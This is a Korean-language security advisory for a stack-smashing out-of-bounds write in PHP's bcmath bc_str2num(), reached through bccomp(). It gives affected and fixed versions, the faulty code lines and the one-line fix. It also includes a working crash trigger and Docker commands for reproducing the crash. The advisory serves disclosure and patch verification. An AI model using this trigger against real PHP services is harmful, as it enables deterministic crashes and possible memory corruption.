
CVE-2026-17544 — PHP bcmath bccomp() OOB 쓰기(스택 스매싱). 확인됨: 8.4.23/8.5.8에서 크래시 발생, 8.4.24에서 수정됨. GHSA-x692-q9x7-8c3f
bccomp() 경계를 벗어난 쓰기(스택 스매싱)CVSS 9.8 (치명적) · CWE-787 · GHSA-x692-q9x7-8c3f
ext/bcmath/libbcmath/src/str2num.c(번들된 libbcmath, PHP 8.4+)의 bc_str2num()에는 off-by-N 경계 밖 쓰기(out-of-bounds write)가 존재합니다.
사용자가 제공한 scale이 피연산자의 자동 스케일보다 작으면 소수 부분이 잘린 후, 후행 0 트림(trim)이 fractional_end를 갱신하지 않은 채 실행됩니다.
버퍼는 잘린(더 짧은) 길이로 할당되지만, 복사에는 잘리지 않은 길이가 사용됩니다 → 힙/스택 버퍼 오버플로우 발생.
영향받는 버전: PHP 8.4.* < 8.4.24, 8.5.* < 8.5.9
수정 버전: PHP 8.4.24 / 8.5.9 (2026-07-30), 커밋 fa18dab73f93 / ce2ec8a70755
제보자: Recep Asan (recepasan)
// ext/bcmath/libbcmath/src/str2num.c — bc_str2num()
str_scale -= fractional_end - fractional_new_end; // fractional_end NOT updated here
...
bc_new_num_nonzeroed(digits, str_scale) // allocates SHORT (trimmed) buffer
bc_copy_and_toggle_bcd(nptr, fractional_ptr, fractional_end) // copies UNTRIMMED length
8.4.24/8.5.9에는 한 줄짜리 수정(fractional_end = fractional_new_end;)과 회귀 테스트
ext/bcmath/tests/GHSA-x692-q9x7-8c3f.phpt가 함께 병합되었습니다.
bccomp("1." . "9" . str_repeat("0", 300) . "1", "0", 300);
2026-08-12에 Docker를 통해 Raspberry Pi 5(arm64)에서 검증했습니다.
# Vulnerable PHP:
docker run --rm -v "$PWD":/app -w /app php:8.4.23-cli sh -c \
'docker-php-ext-install bcmath >/dev/null 2>&1 && php trigger.php'
# -> stack smashing detected (exit 133)
# Patched PHP:
docker run --rm -v "$PWD":/app -w /app php:8.4.24-cli sh -c \
'docker-php-ext-install bcmath >/dev/null 2>&1 && php trigger.php'
# -> int(1), exit 0
bccomp()에 전달하는 모든 서비스는 결정적으로 크래시될 수 있습니다(8.4/8.5, 스택 보호(Stack Protector)가 적용된 빌드는 중단(abort)되고, 미적용 빌드는 저장된 레지스터/반환 주소가 손상됩니다).fa18dab73f93 · 8.5 수정: ce2ec8a70755| 빌드 | 결과 |
|---|
PHP 8.4.23 (취약, Docker php:8.4.23-cli + bcmath) | 💥 *** stack smashing detected ***, exit 133 (SIGABRT) |
| PHP 8.5.8 (취약) | 💥 동일 — 결정적 중단(abort) |
PHP 8.4.24 (패치됨, php:8.4.24-cli) | ✅ int(1), exit 0 |